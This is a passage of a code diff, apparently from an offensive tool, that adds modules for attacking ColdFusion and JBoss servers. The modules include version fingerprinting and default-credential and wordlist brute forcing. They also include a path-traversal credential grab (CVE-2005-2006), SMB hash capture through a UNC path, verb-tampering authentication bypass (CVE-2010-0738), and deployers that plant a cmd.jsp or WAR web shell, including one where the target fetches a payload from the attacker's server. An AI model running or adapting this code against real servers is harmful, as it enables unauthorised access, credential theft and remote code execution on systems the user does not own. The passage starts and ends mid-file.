utility.requests_get(url, cookies=cookie) + if response.status_code is 200: + + # create task + response = utility.requests_post(url, data=data, cookies=cookie, + headers={'Content-Type':'application/x-www-form-urlencoded'}) + if response.status_code is 200: + return True + + +def delete_task(ip, fingerprint, cfm_file): + """ Once we run the task and pop our shell, we need to remove the task + """ + + url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm".\ + format(ip, fingerprint.port) + uri = "?action=delete&task={0}&csrftoken={1}" + + (cookie, csrf) = fetch_csrf(ip, fingerprint, url) + response = utility.requests_get(url + uri.format(cfm_file, csrf), cookies=cookie) + if not response.status_code is 200: + utility.Msg("Failed to remove task. May require manual removal.", LOG.ERROR) + + +def run_task(ip, fingerprint, cfm_path): + """ Invoke the task and wait for the remote server to fetch + our file + """ + + cfm_name = parse_war_path(cfm_path, True) + + # kick up the HTTP server + server_thread = Thread(target=_serve, args=(cfm_path,)) + server_thread.start() + sleep(2) + + url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\ + .format(ip, fingerprint.port) + + (cookie, csrf) = fetch_csrf(ip, fingerprint, url) + + uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf) + + response = utility.requests_get(url, cookies=cookie) + if waitServe(server_thread): + utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS) + + try: + utility.requests_get("http://localhost:8000", timeout=1) + except: + pass + + +def fetch_csrf(ip, fingerprint, url): + """ Most of these requests use a CSRF; we can grab this so long as + we send the request using the same session token. + + Returns a tuple of (cookie, csrftoken) + """ + + # lets try and fetch CSRF + cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version) + if cookies: + response = utility.requests_get(url, cookies=cookies[0]) + else: + utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR) + return False + + if response.status_code is 200: + + token = findall("name=\"csrftoken\" value=\"(.*?)\">", response.content) + if len(token) > 0: + return (cookies[0], token[0]) + else: + utility.Msg("CSRF appears to be disabled.") + return (cookies[0], None) + + +def fetch_webroot(ip, fingerprint): + """ Pick out the web root from the settings summary page + """ + + url = "http://{0}:{1}/CFIDE/administrator/reports/index.cfm"\ + .format(ip, fingerprint.port) + + cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version) + if cookies: + req = utility.requests_get(url, cookies=cookies[0]) + else: + utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR) + return False + + if req.status_code is 200: + + data = findall("CFIDE  (.*?)", + req.content.translate(None, "\n\t\r")) + + if len(data) > 0: + return data[0].replace("\", "\\").replace(":", ":")[:-7] + else: + return False diff --git a/src/platform/coldfusion/fingerprints/CF10.py b/src/platform/coldfusion/fingerprints/CF10.py new file mode 100644 index 0000000..716cf5e --- /dev/null +++ b/src/platform/coldfusion/fingerprints/CF10.py @@ -0,0 +1,12 @@ +from src.platform.coldfusion.interfaces import CINTERFACES +from cprint import FingerPrint + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "coldfusion" + self.version = "10.0" + self.title = CINTERFACES.CFM + self.uri = "/CFIDE/administrator/images/loginbackground.jpg" + self.port = 80 + self.hash = "a4c81b7a6289b2fc9b36848fa0cae83c" diff --git a/src/platform/coldfusion/fingerprints/CF61.py b/src/platform/coldfusion/fingerprints/CF61.py new file mode 100644 index 0000000..45110b4 --- /dev/null +++ b/src/platform/coldfusion/fingerprints/CF61.py @@ -0,0 +1,8 @@ +from src.platform.coldfusion.interfaces import AdminInterface + + +class FPrint(AdminInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "6.1" diff --git a/src/platform/coldfusion/fingerprints/CF7.py b/src/platform/coldfusion/fingerprints/CF7.py new file mode 100644 index 0000000..15d35f2 --- /dev/null +++ b/src/platform/coldfusion/fingerprints/CF7.py @@ -0,0 +1,12 @@ +from src.platform.coldfusion.interfaces import CINTERFACES +from cprint import FingerPrint + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "coldfusion" + self.version = "7.0" + self.title = CINTERFACES.CFM + self.uri = "/CFIDE/administrator/images/AdminColdFusionLogo.gif" + self.port = 80 + self.hash = "620b2523e4680bf031ee4b1538733349" diff --git a/src/platform/coldfusion/fingerprints/CF8.py b/src/platform/coldfusion/fingerprints/CF8.py new file mode 100644 index 0000000..84b6ce1 --- /dev/null +++ b/src/platform/coldfusion/fingerprints/CF8.py @@ -0,0 +1,12 @@ +from src.platform.coldfusion.interfaces import CINTERFACES +from cprint import FingerPrint + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "coldfusion" + self.version = "8.0" + self.title = CINTERFACES.CFM + self.uri = "/CFIDE/administrator/images/loginbackground.jpg" + self.port = 80 + self.hash = "779efc149954677095446c167344dbfc" diff --git a/src/platform/coldfusion/fingerprints/CF9.py b/src/platform/coldfusion/fingerprints/CF9.py new file mode 100644 index 0000000..f7a6515 --- /dev/null +++ b/src/platform/coldfusion/fingerprints/CF9.py @@ -0,0 +1,12 @@ +from src.platform.coldfusion.interfaces import CINTERFACES +from cprint import FingerPrint + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "coldfusion" + self.version = "9.0" + self.title = CINTERFACES.CFM + self.uri = "/CFIDE/administrator/images/loginbackground.jpg" + self.port = 80 + self.hash = "596b3fc4f1a0b818979db1cf94a82220" diff --git a/src/platform/coldfusion/fingerprints/__init__.py b/src/platform/coldfusion/fingerprints/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/coldfusion/interfaces.py b/src/platform/coldfusion/interfaces.py new file mode 100644 index 0000000..ac10731 --- /dev/null +++ b/src/platform/coldfusion/interfaces.py @@ -0,0 +1,43 @@ +from cprint import FingerPrint +from requests import exceptions +from log import LOG +import utility + + +class CINTERFACES: + CFM = "ColdFusion Manager" + + +class AdminInterface(FingerPrint): + """ + """ + + def __init__(self): + self.platform = "coldfusion" + self.version = None + self.title = CINTERFACES.CFM + self.uri = "/CFIDE/administrator" + self.port = 80 + self.hash = None + + def check(self, ip, port = None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + + if "Version: {0}".format(self.version.replace('.',',')) in response.content: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, + rport), LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), LOG.DEBUG) + + return False diff --git a/src/platform/jboss/__init__.py b/src/platform/jboss/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/jboss/authenticate.py b/src/platform/jboss/authenticate.py new file mode 100644 index 0000000..5ae5dfd --- /dev/null +++ b/src/platform/jboss/authenticate.py @@ -0,0 +1,114 @@ +from src.platform.jboss.interfaces import JINTERFACES +from requests.auth import HTTPBasicAuth, HTTPDigestAuth +from requests.utils import dict_from_cookiejar +from collections import OrderedDict +from sys import stdout +from log import LOG +import state +import utility + +""" Return a tuple of cookies and an auth object. Versions 7.x of JBoss +return only a username/password, because it is ridiculous and breaks compatability +""" + +# +# list of tuples consisting of (username, password) to try when +# a 401 is discovered. +# +default_credentials = [("admin", "admin")] + +def _auth(usr, pswd, url, version): + """ + """ + + authobj = HTTPBasicAuth + if version in ['7.0', '7.1']: + authobj = HTTPDigestAuth + + res = utility.requests_get(url, auth=authobj(usr, pswd)) + + if res.status_code is 200: + utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) + return (dict_from_cookiejar(res.cookies), authobj(usr, pswd)) + + +def checkAuth(ip, port, title, version): + """ + """ + + if version in ["5.1", "6.0", "6.1"] and title is JINTERFACES.WM: + for (usr, pswd) in default_credentials: + url = "http://%s:%s/admin-console/login.seam" % (ip, port) + data = OrderedDict([ + ("login_form", "login_form"), + ("login_form:name", usr), + ("login_form:password", pswd), + ("login_form:submit", "Login"), + ("javax.faces.ViewState", utility.fetch_viewState(url)), + ]) + + response = utility.requests_post(url, data=data) + if response.status_code == 200: + utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) + if version in ["5.1"]: + return (dict_from_cookiejar(response.history[0].cookies), None) + return (dict_from_cookiejar(response.cookies), None) + + else: + if title is JINTERFACES.JMX: + url = "http://%s:%s/jmx-console/" % (ip, port) + elif title is JINTERFACES.MM: + url = "http://%s:%s/management" % (ip, port) + elif title is JINTERFACES.WC: + url = "http://%s:%s/web-console" % (ip, port) + else: + utility.Msg("Unsupported auth interface: %s" % title, LOG.DEBUG) + return + + # check with given auth + if state.usr_auth: + (usr, pswd) = state.usr_auth.split(':') + return _auth(usr, pswd, url, version) + + # else try default credentials + for (usr, pswd) in default_credentials: + cook = _auth(usr, pswd, url, version) + if cook: + return cook + + # if we're still here, check if they supplied a wordlist + if state.bf_wordlist and not state.hasbf: + + state.hasbf = True + wordlist = [] + with open(state.bf_wordlist, 'r') as f: + # ensure everything is ascii or requests will explode + wordlist = [x.decode("ascii", "ignore").rstrip() for x in f.readlines()] + + utility.Msg("Brute forcing %s account with %d passwords..." % + (state.bf_user, len(wordlist)), LOG.DEBUG) + + try: + for (idx, word) in enumerate(wordlist): + stdout.flush() + stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m" \ + % (utility.timestamp(), state.bf_user, + idx+1, len(wordlist))) + + cook = _auth(state.bf_user, word, url, version) + if cook: + print '' # newline + + # lets insert these credentials to the default list so we + # don't need to bruteforce it each time + if not (state.bf_user, word) in default_credentials: + default_credentials.insert(0, (state.bf_user, word)) + + utility.Msg("Successful login %s:%s" % + (state.bf_user, word), LOG.SUCCESS) + return cook + + print '' + + except KeyboardInterrupt: + pass diff --git a/src/platform/jboss/auxiliary/__init__.py b/src/platform/jboss/auxiliary/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/jboss/auxiliary/fetch_creds.py b/src/platform/jboss/auxiliary/fetch_creds.py new file mode 100644 index 0000000..0f79e2c --- /dev/null +++ b/src/platform/jboss/auxiliary/fetch_creds.py @@ -0,0 +1,73 @@ +from auxiliary import Auxiliary +from log import LOG +import socket +import utility + +class Auxiliary: + + def __init__(self): + self.name = 'JBoss Path Traversal (CVE-2005-2006)' + self.versions = ['3.0', '3.2', '4.0'] + self.show = False + self.flag = 'jb-fetch' + + def check(self, fingerprint): + """ + """ + + if fingerprint.version in self.versions: + return True + return False + + def _getPath(self, version): + """ Return the traversal path based on the version. I haven't figured out + how to traverse just yet in 3.0/4.0.2, but it should be possible. + """ + + if version in ["3.0", "4.0"]: + utility.Msg("Version %s is not vulnerable to credential retrieval" + ", but is vulnerable to path disclosure" % version, + LOG.UPDATE) + return ".\\\..\\\client\\\\auth.conf" + elif version in ["3.2"]: + return "jmx-console-users.properties" + + def run(self, fingerengine, fingerprint): + """ Fetch the credentials, or at least attempt to. We use raw + sockets here because Requests doesn't allow us to submit malformed + URLs. + """ + + utility.Msg("Attempting to retrieve jmx-console credentials...") + + request = "GET %{0} HTTP/1.0\r\n".format(self._getPath(fingerprint.version)) + + try: + sock = socket.socket() + sock.connect((fingerengine.options.ip, 8083)) + sock.send(request) + + # weirdness in how jboss responds with data + tick = 0 + while tick < 5: + + data = sock.recv(2048) + if '200 OK' in data: + + data = data.split('\n') + for entry in data[5:]: + if len(entry) <= 1: + continue + + utility.Msg(' %s' % entry, LOG.SUCCESS) + break + + elif '400' in data: + utility.Msg(" %s" % data.split(' ')[2], LOG.SUCCESS) + break + + else: + tick += 1 + + except Exception, e: + utility.Msg("Failed: %s" % e, LOG.ERROR) diff --git a/src/platform/jboss/auxiliary/info_dump.py b/src/platform/jboss/auxiliary/info_dump.py new file mode 100644 index 0000000..258add3 --- /dev/null +++ b/src/platform/jboss/auxiliary/info_dump.py @@ -0,0 +1,137 @@ +from src.platform.jboss.authenticate import checkAuth +from src.platform.jboss.interfaces import JINTERFACES +from auxiliary import Auxiliary +from log import LOG +from re import findall +import utility + + +class Auxiliary: + + def __init__(self): + self.name = "Dump host information" + self.versions = ['Any'] + self.show = True + self.flag = 'jb-info' + + def check(self, fingerprint): + if fingerprint.title in [JINTERFACES.JMX, JINTERFACES.MM]: + return True + + return False + + def run(self, fingerengine, fingerprint): + """ This runs the jboss.system:type=ServerInfo MBean to gather information + about the host OS. JBoss 7.x uses the HTTP API instead to query for this + info, which also happens to give us quite a bit more. + """ + + utility.Msg("Attempting to retrieve JBoss info...") + + if fingerprint.version in ["7.0", "7.1"]: + # JBoss 7.x uses an HTTP API instead of jmx-console/ + return self.run7(fingerengine, fingerprint) + + base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) + uri = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system"\ + ":type=ServerInfo" + url = base + uri + + response = utility.requests_get(url) + if response.status_code == 401: + + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + + if fingerprint.version in ["3.0", "3.2"]: + names = findall("(.*?)", response.content.replace('\n',''))[1:] + data = findall("
(.*?)
", response.content.replace('\n','')) + + for (key, value) in zip(names, data): + utility.Msg("\t{0}: {1}".format(key, value)) + + elif fingerprint.version in ["4.0", "4.2"]: + data = findall("(.*?)", response.content.replace('\n','')) + + for x in range(9, len(data)-9, 5): + utility.Msg("\t{0}: {1}".format(data[x+1].lstrip().rstrip(), + data[x+4].lstrip().rstrip())) + + elif fingerprint.version in ["5.0", "5.1", "6.0", "6.1"]: + names = findall("(.*?)", response.content.replace('\n','')) + data = findall("
(.*?)
", response.content.replace('\n','')) + + for (key, value) in zip(names, data): + utility.Msg("\t{0}: {1}".format(key,value.rstrip('').lstrip())) + + else: + utility.Msg("Version %s is not supported by this module." % + fingerprint.version, LOG.ERROR) + + + def run7(self, fingerengine, fingerprint): + """ Runs our OS query using the HTTP API + + NOTE: This does not work against 7.0.0 or 7.0.1 because the platform-mbean + was not exposed until 7.0.2 and up. See AS7-340 + """ + + url = "http://{0}:{1}/management".format(fingerengine.options.ip, + fingerprint.port) + info = '{"operation":"read-resource", "include-runtime":"true", "address":'\ + '[{"core-service":"platform-mbean"},{"type":"runtime"}], "json.pretty":1}' + headers = {"Content-Type":"application/json"} + + response = utility.requests_post(url, data=info, headers=headers) + if response.status_code == 401: + + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + if cookies: + response = utility.requests_post(url, data=info, cookies=cookies[0], + auth=cookies[1], headers=headers) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + + result = response.json()['result'] + for key in result.keys(): + + if 'system-properties' in key: + for skey in result[key].keys(): + utility.Msg('\t%s: %s' % (skey, result[key][skey])) + else: + utility.Msg('\t%s: %s' % (key, result[key])) + + elif response.status_code == 500: + utility.Msg("Failed to retrieve system properties, checking if " + "this is 7.0.0/7.0.1...") + + info = '{"operation":"read-attribute", "name":"server-state"}' + + response = utility.requests_post(url, data=info, headers=headers) + if response.status_code == 200: + utility.Msg("Older version found. This version is unsupported.") + else: + utility.Msg("Failed to retrieve info (HTTP %d)", response.status_code, + LOG.DEBUG) + else: + utility.Msg("Failed to retrieve info (HTTP %d)" % response.status_code, + LOG.DEBUG) diff --git a/src/platform/jboss/auxiliary/list_wars.py b/src/platform/jboss/auxiliary/list_wars.py new file mode 100644 index 0000000..1020711 --- /dev/null +++ b/src/platform/jboss/auxiliary/list_wars.py @@ -0,0 +1,115 @@ +from src.platform.jboss.authenticate import checkAuth +from src.platform.jboss.interfaces import JINTERFACES +from auxiliary import Auxiliary +from re import findall +from log import LOG +import utility + + +class Auxiliary: + """Obtain deployed WARs through jmx-console + """ + + def __init__(self): + self.name = "List deployed WARs" + self.versions = ['Any'] + self.show = True + self.flag = "jb-list" + + def check(self, fingerprint): + """ + """ + + if fingerprint.title == JINTERFACES.JMX: + return True + elif fingerprint.version in ["7.0", "7.1"]: + return True + + return False + + def run(self, fingerengine, fingerprint): + """ + """ + + utility.Msg("Obtaining deployed applications...") + + if fingerprint.version in ["5.0", "5.1", "6.0", "6.1"] and\ + fingerprint.title == JINTERFACES.JMX: + url = 'http://{0}:{1}/jmx-console/HtmlAdaptor?action='\ + 'displayMBeans&filter=jboss.web.deployment'.format\ + (fingerengine.options.ip, fingerprint.port) + elif fingerprint.version in ["7.0", "7.1"]: + return self.run7(fingerengine, fingerprint) + elif fingerprint.title == JINTERFACES.JMX: + url = 'http://{0}:{1}/jmx-console/'.format(fingerengine.options.ip, + fingerprint.port) + else: + # unsupported interface + utility.Msg("Interface %s version %s is not supported." % \ + (fingerprint.title, fingerprint.version), LOG.DEBUG) + return + + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg('Host %s:%s requires auth for JMX, checking...' % + (fingerengine.options.ip, fingerprint.port), + LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + + wars = findall("war=(.*?)", response.content) + if len(wars) > 0: + for war in wars: + utility.Msg("Deployment found: %s" % war) + else: + utility.Msg("No deployments found.") + + + def run7(self, fingerengine, fingerprint): + """ JBoss 7.x does not have a jmx-console, and instead uses an + HTTP management API that can be queried with JSON. It's not + much fun to parse, but it does its job. + """ + + headers = {'Content-Type' : 'application/json'} + data = '{"operation":"read-resource","address":[{"deployment":"*"}]}' + url = "http://{0}:{1}/management".format(fingerengine.options.ip, + fingerprint.port) + + response = utility.requests_post(url, headers=headers, data=data) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for management, checking..." % + (fingerengine.options.ip, fingerprint.port), + LOG.DEBUG) + + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + if cookies: + response = utility.requests_post(url, headers=headers, data=data, + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), + LOG.ERROR) + return + + json_list = response.json()['result'] + for item in json_list: + + item_dict = dict(item) + if "address" in item_dict.keys(): + utility.Msg("Deployment found: %s" % + dict(item_dict['address'][0])['deployment']) + + if len(json_list) <= 0: + utility.Msg("No deployments found.", LOG.INFO) diff --git a/src/platform/jboss/auxiliary/smb_hashes.py b/src/platform/jboss/auxiliary/smb_hashes.py new file mode 100644 index 0000000..dfafaf1 --- /dev/null +++ b/src/platform/jboss/auxiliary/smb_hashes.py @@ -0,0 +1,131 @@ +from src.platform.jboss.authenticate import checkAuth +from src.platform.jboss.interfaces import JINTERFACES +from src.lib.cifstrap import Handler +from collections import OrderedDict +from threading import Thread +from log import LOG +from auxiliary import Auxiliary +from os import getuid +import socket +import utility + + +class Auxiliary: + + def __init__(self): + self.name = 'Obtain SMB hash' + self.versions = ['3.0','3.2','4.0','4.2','5.0','5.1','6.0','6.1'] + self.show = True + self.flag = 'jb-smb' + self._Listen = False + + def check(self, fingerprint): + if fingerprint.title in [JINTERFACES.JMX] and fingerprint.version \ + in self.versions: + return True + + return False + + def run(self, fingerengine, fingerprint): + """ This module will invoke jboss:load() with a UNC path to force the + server to make a SMB request, thus giving up its encrypted hash with a + value we know (1122334455667788). + + Thanks to @cd1zz for the idea for this + """ + + if getuid() > 0: + utility.Msg("Root privs required for this module.", LOG.ERROR) + return + + utility.Msg("Setting up SMB listener..") + + self._Listen= True + thread = Thread(target=self.smb_listener) + thread.start() + + utility.Msg("Invoking UNC loader...") + + base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) + uri = '/jmx-console/HtmlAdaptor' + data = self.getData(fingerprint.version) + url = base + uri + + response = utility.requests_post(url, data=data) + if response.status_code == 401: + + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_post(url, data=data, + cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + while thread.is_alive(): + # spin... + pass + + if response.status_code != 500: + + utility.Msg("Unexpected response: HTTP %d" % response.status_code, LOG.DEBUG) + + self._Listen = False + + def getData(self, version): + """ For some reason 5.x+ double encodes characters + Haven't figured this out yet for 7.x + """ + + if version in ["5.0", "5.1", "6.0", "6.1"]: + return OrderedDict([ + ('action', 'invokeOp'), + ('name', 'jboss%3Atype%3DService%2Cname%3DSystemProperties'), + ('methodIndex', 21), + ('arg0', "\\\\{0}\\asdf".format(utility.local_address())) + ]) + + elif version in ["3.2", "4.0", "4.2"]: + return OrderedDict([ + ('action', 'invokeOp'), + ('name', 'jboss:type=Service,name=SystemProperties'), + ('methodIndex', 21), + ('arg0', "\\\\{0}\\asdf".format(utility.local_address())) + ]) + + + def smb_listener(self): + """ Accept a connection and pass it off for parsing to cifstrap + """ + + try: + handler = None + sock = socket.socket() + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(('', 445)) + sock.listen(1) + + while self._Listen: + (con, addr) = sock.accept() + handler = Handler(con, addr) + handler.start() + + while handler.is_alive(): + # spin... + pass + + if handler.data: + utility.Msg("%s" % handler.data, LOG.SUCCESS) + + break + + except Exception, e: + utility.Msg("Socket error: %s" % e, LOG.ERROR) + finally: + sock.close() diff --git a/src/platform/jboss/auxiliary/verb_tamper.py b/src/platform/jboss/auxiliary/verb_tamper.py new file mode 100644 index 0000000..36032e1 --- /dev/null +++ b/src/platform/jboss/auxiliary/verb_tamper.py @@ -0,0 +1,55 @@ +from src.platform.jboss.interfaces import JINTERFACES +from src.module.deploy_utils import parse_war_path +from auxiliary import Auxiliary +from os.path import abspath +from log import LOG +from urllib import quote_plus +import utility + + +class Auxiliary: + + def __init__(self): + self.name = 'JBoss Verb Tampering (CVE-2010-0738)' + self.versions = ["4.0"] + self.show = False + self.flag = 'verb-tamper' + + def check(self, fingerprint): + """ + """ + + if fingerprint.version in self.versions and \ + fingerprint.title == JINTERFACES.JMX: + return True + + return False + + def run(fingerengine, fingerprint): + """ This module exploits CVE-2010-0738, which bypasses authentication + by submitting requests with different HTTP verbs, such as HEAD. + """ + + utility.Msg("Checking %s for verb tampering" % fingerengine.options.ip, + LOG.DEBUG) + + url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(fingerengine.options.ip, + fingerprint.port) + + response = utility.requests_head(url) + if response.status_code == 200: + utility.Msg("Vulnerable to verb tampering, attempting to deploy...", LOG.SUCCESS) + + war_file = abspath(fingerengine.options.deploy) + war_name = parse_war_path(war_file) + tamper = "/jmx-console/HtmlAdaptor?action=invokeOp"\ + "&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5"\ + "&arg0={0}&arg1={1}&arg2=.jsp&arg3={2}&arg4=True".format( + war_file.replace('.jsp', '.war'), war_name, + quote_plus(open(war_file).read())) + + response = utility.requests_head(url + tamper) + if response.status_code == 200: + utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) + else: + utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR) diff --git a/src/platform/jboss/deployers/__init__.py b/src/platform/jboss/deployers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/jboss/deployers/bsh_deploy.py b/src/platform/jboss/deployers/bsh_deploy.py new file mode 100644 index 0000000..a354a86 --- /dev/null +++ b/src/platform/jboss/deployers/bsh_deploy.py @@ -0,0 +1,102 @@ +from src.platform.jboss.authenticate import checkAuth +from src.platform.jboss.interfaces import JINTERFACES +from src.module.deploy_utils import bsh_deploy +from log import LOG +from base64 import b64encode +from os import system, path +import utility + + +versions = ["3.2", "4.0", "4.2"] +title = JINTERFACES.WC +def deploy(fingerengine, fingerprint): + """ This module exploits the BSHDeployer in an exposed JBoss web-console. + It essentially invokes /web-console/Invoker to download and deploy a BSH, + which can be used as a stager for our WAR payload. + """ + + war_file = path.abspath(fingerengine.options.deploy) + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + url = "http://{0}:{1}/web-console/Invoker".format( + fingerengine.options.ip, fingerprint.port) + + if not rewriteBsh(war_file, fingerengine.options.remote_os): + utility.Msg("Failed to write WAR to BSH", LOG.ERROR) + return + + # poll the URL to check for 401 + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for web-console, checking.." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + (usr, pswd) = (cookies[1].username, cookies[1].password) + response = bsh_deploy(fingerengine.options.remote_os, url, + fingerprint.version.split('.')[0], + usr, pswd) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + + else: + # run our java lib for the serialized request + response = bsh_deploy(fingerengine.options.remote_os, url, + fingerprint.version.split('.')[0]) + + # remove the copied bsh + system("rm ./src/lib/jboss/bsh_deploy/bshdeploy.bsh") + + if response: + if type(response) is str and response != '': + utility.Msg(response, LOG.DEBUG) + elif response.returncode > 0: + utility.Msg("Failed to deploy to %s:%s" % (fingerengine.options.ip, + fingerprint.port), + LOG.ERROR) + utility.Msg(response.output, LOG.DEBUG) + return + + utility.Msg("{0} deployed to {1}".format(war_file, + fingerengine.options.ip), + LOG.SUCCESS) + + +def rewriteBsh(war_file, arch): + """ Makes a copy of our beanshell script template and replaces + a handful of placeholder variables, such as WAR data and write path. + """ + + try: + + base = "./src/lib/jboss/bsh_deploy" + b64 = b64encode(open(war_file, "rb").read()) + path = getPath(arch) + + with open("{0}/_bshdeploy.bsh".format(base)) as f1: + with open("{0}/bshdeploy.bsh".format(base), "w") as f2: + for line in f1: + tmp = line + + # replace our vars + if "[[WDATA]]" in line: + tmp = tmp.replace("[[WDATA]]", b64) + elif "[[ARCH]]" in line: + tmp = tmp.replace("[[ARCH]]", path) + f2.write(tmp) + + return True + except Exception, e: + utility.Msg(e, LOG.ERROR) + + return False + + +def getPath(arch): + """ Different paths for different architectures + """ + + return "c:/windows/temp/cmd.war" if arch is "windows" else "/tmp/cmd.war" diff --git a/src/platform/jboss/deployers/dfs_deploy.py b/src/platform/jboss/deployers/dfs_deploy.py new file mode 100644 index 0000000..dc67fb4 --- /dev/null +++ b/src/platform/jboss/deployers/dfs_deploy.py @@ -0,0 +1,61 @@ +from src.platform.jboss.interfaces import JINTERFACES +from src.platform.jboss.authenticate import checkAuth +from src.module.deploy_utils import parse_war_path +from collections import OrderedDict +from os.path import abspath +from log import LOG +import utility + +title = JINTERFACES.JMX +versions = ["3.2", "4.0", "4.2", "5.0", "5.1"] +def deploy(fingerengine, fingerprint): + """ Exploits the DeploymentFileRepository bean to deploy + a JSP to the remote server. Note that this requires a JSP, + not a packaged or exploded WAR. + """ + + war_file = abspath(fingerengine.options.deploy) + war_name = parse_war_path(war_file) + if '.war' in war_file: + tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") + if "n" in tmp.lower(): + return + + war_file = abspath("./src/lib/cmd.jsp") + war_name = "cmd" + + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( + fingerengine.options.ip, fingerprint.port) + + data = OrderedDict([ + ('action', 'invokeOp'), + ('name', 'jboss.admin:service=DeploymentFileRepository'), + ('methodIndex', 5), + ('arg0', war_file.replace('.jsp', '.war')), + ('arg1', war_name), + ('arg2', '.jsp'), + ('arg3', open(war_file, 'r').read()), + ('arg4', True) + ]) + + response = utility.requests_post(url, data=data) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for JMX, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_post(url, data=data, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) + else: + utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR) diff --git a/src/platform/jboss/deployers/http_management.py b/src/platform/jboss/deployers/http_management.py new file mode 100644 index 0000000..05ac761 --- /dev/null +++ b/src/platform/jboss/deployers/http_management.py @@ -0,0 +1,108 @@ +from src.platform.jboss.interfaces import JINTERFACES +from src.platform.jboss.authenticate import checkAuth +from src.module.deploy_utils import parse_war_path +from os.path import abspath +from log import LOG +import utility + +versions = ["7.0", "7.1"] +title = JINTERFACES.MM +def deploy(fingerengine, fingerprint): + """ Deploying WARs to JBoss 7.x is a three stage process. The first stage + is a POST request with the file data to /management/add-content. This places + the data on the server and passes back a hash to reference it. The second + stage is an association of this data with a WAR file name, i.e. cmd.war. + The final stage is to enable the WAR, which is a simple JSON request with the + deploy operation. + """ + + war_file = abspath(fingerengine.options.deploy) + war_name = parse_war_path(war_file) + war_raw = war_file.rsplit('/', 1)[1] + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + base = 